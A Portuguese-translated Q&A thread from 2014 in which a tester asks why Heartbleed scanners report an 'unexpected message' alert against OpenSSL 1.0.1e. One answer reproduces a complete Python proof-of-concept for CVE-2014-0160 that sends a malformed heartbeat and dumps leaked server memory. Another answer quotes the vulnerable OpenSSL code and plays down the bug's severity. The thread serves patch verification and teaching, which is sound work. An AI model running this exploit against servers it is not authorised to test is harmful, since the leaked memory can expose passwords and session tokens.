Heartbleed “Mensagem inesperada”

6

Eu tenho uma tarefa para verificar o patch de software de nossa empresa que aborda Heartbleed attack.

Agora, tenho certeza de que a versão do software que estou tentando explorar usa a biblioteca 1.0.1e OpenSSL, que deve estar vulnerável. No entanto, experimentei várias ferramentas de teste Heartbleed e todos dizem que houve um erro na resposta e que meu aplicativo provavelmente não está vulnerável.

Durante os testes, a ferramenta CardiacArrest retornou:

[INFO] Connecting to 10.63.62.79:443 using TLSv1.2
[INFO] Sending ClientHello
[INFO] ServerHello received
[INFO] Sending Heartbeat
[INFO] The server received an alert. It is likely not vulnerable.
[INFO] Alert Level: fatal
[INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2)
[INFO] Closing connection

Após consultar RFC 5264 , encontrei mais informações sobre "Mensagem inesperada":

unexpected_message
An inappropriate message was received. This alert is always fatal and should never be observed in communication between proper implementations.

Perguntas:

  • Alguém pode esclarecer mais sobre esse resultado?
  • Poderia OpenSSL ter sido compilado sem a extensão Heartbeat ?
  • Existe alguma maneira de listar extensões compiladas em OpenSSL ?

Muito obrigado!

    
por Jovan Perovic 09.05.2014 / 15:41

2 respostas

1
Em primeiro lugar, o Heartbleed demonstrou ser capaz de escanear uma memória de processos (64kB de cada vez), então é muito sério. Mesmo sem isso, os dados que podem ser vistos facilmente exporão tais senhas, tokens de sessão e várias outras coisas (particularmente para os aplicativos PHP que eu estive observando).

Tenha em mente que o Hearbleed afeta o TLS 1.1 e 1.2 e, portanto, se você estiver testando, é necessário especificar isso. (Não posso ter certeza se restringir a versão SSL é uma atenuação útil; é melhor corrigir e substituir)

Uma mensagem desconhecida, neste caso, muito provavelmente significa que você solicitou uma opção que não era apropriada (ou suportada) no par. Você pode conseguir isso se não especificar o TLS 1.2.

Eu usei uma pequena ferramenta Python criada por Jared Stafford. É instrutivo para executar isso usando watch para ver o que você pode ver. Não está listado em seu site, então eu incluí-lo abaixo. Você vai querer executá-lo usando algo como ./heartbleed --port 443 --ver 2 SERVER_IP

Eu achei mais útil executar o seguinte:

 ./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................'

ou:

./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable'

Eu não tenho nenhum servidor não corrigido para demonstrar isso, mas se for vulnerável, você obterá um dump hex / ASCII do material encontrado, que pode ser interessante de se ver. Você também receberá uma mensagem server is vulnerable .

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
#
# -shirk added TLS version
# -jpicht added SMTP STARTTLS hack

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data')
options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')

hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')

hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')


def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    #s.send()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))

    if opts.smtpstarttls:
        print 'Sending STARTTLS...'
        sys.stdout.flush()
        s.send("STARTTLS\n")
        print 'Waiting for reply...'
        sys.stdout.flush()
        recvall(s, 100000, 1)

    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    if (opts.ver == 1):
        s.send(hbv10)
        hit_hb(s)
    if (opts.ver == 2):
        s.send(hbv11)
        hit_hb(s)
    if (opts.ver == 3):
        s.send(hbv12)
        hit_hb(s)


if __name__ == '__main__':
    main()
    
por 12.05.2014 / 12:46
2

Nem todo produto que usa uma biblioteca OpenSSL vulnerável é automaticamente vulnerável ao Heartbeat. Este é um bug na camada SSL / TLS, não um bug no código de criptografia do núcleo. Tudo depende de como seu produto está usando a biblioteca.

O bug em si não é tão sério quanto o anunciado, pois o que ele faz é enviar de volta um pedaço de 64KB da memória do programa que segue o buffer de envio. Este pedaço pode, ou não, conter dados confidenciais. E mesmo que contenha tais dados, o hacker ainda tem que isolá-lo do lixo circundante.

Existem alguns produtos em torno dos quais usam a biblioteca OpenSSL vulnerável mas não são vulneráveis, apenas porque eles lidam mal com essa condição de erro (bugs que protegem contra bugs). Seu produto pode ser um deles.

Você deve instalar alguns sniffer de linha como o Wireshark e observar a mensagem Heartbeat pacote e sua resposta. Se a resposta for muito longa, aproximando-se de 64 KB, seu produto estará vulnerável. Se for curto, por mais errôneo que seja, então você não está vulnerável.

A melhor solução é, obviamente, corrigir a biblioteca OpenSSL.

Informação Heartbleed

Uma boa explicação deste bug pode ser encontrada no artigo Anatomia do Heartbleed do OpenSSL :

O código C no OpenSSL que causa o bug é:

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);

Este código é corrigido por uma simples verificação da carga útil variável antes da chamada do memcpy (função de cópia de memória).

Somente os 64 KB que seguem a mensagem construída são enviados. A mensagem em si é alocada na memória, presumivelmente pela função malloc (), por isso nem sempre pode ser localizado no mesmo endereço. No entanto, existem limites para o qual os dados podem ser extraídos.

Isso significa que as histórias sobre a leitura de toda a memória do processo por meio desse bug são apenas histórias assustadoras, embora com um pouco de chance o atacante possa ter sorte e obtenha dados muito confidenciais. Tudo depende de como o produto atacado foi programado e seu layout exato de memória.

    
por 12.05.2014 / 10:43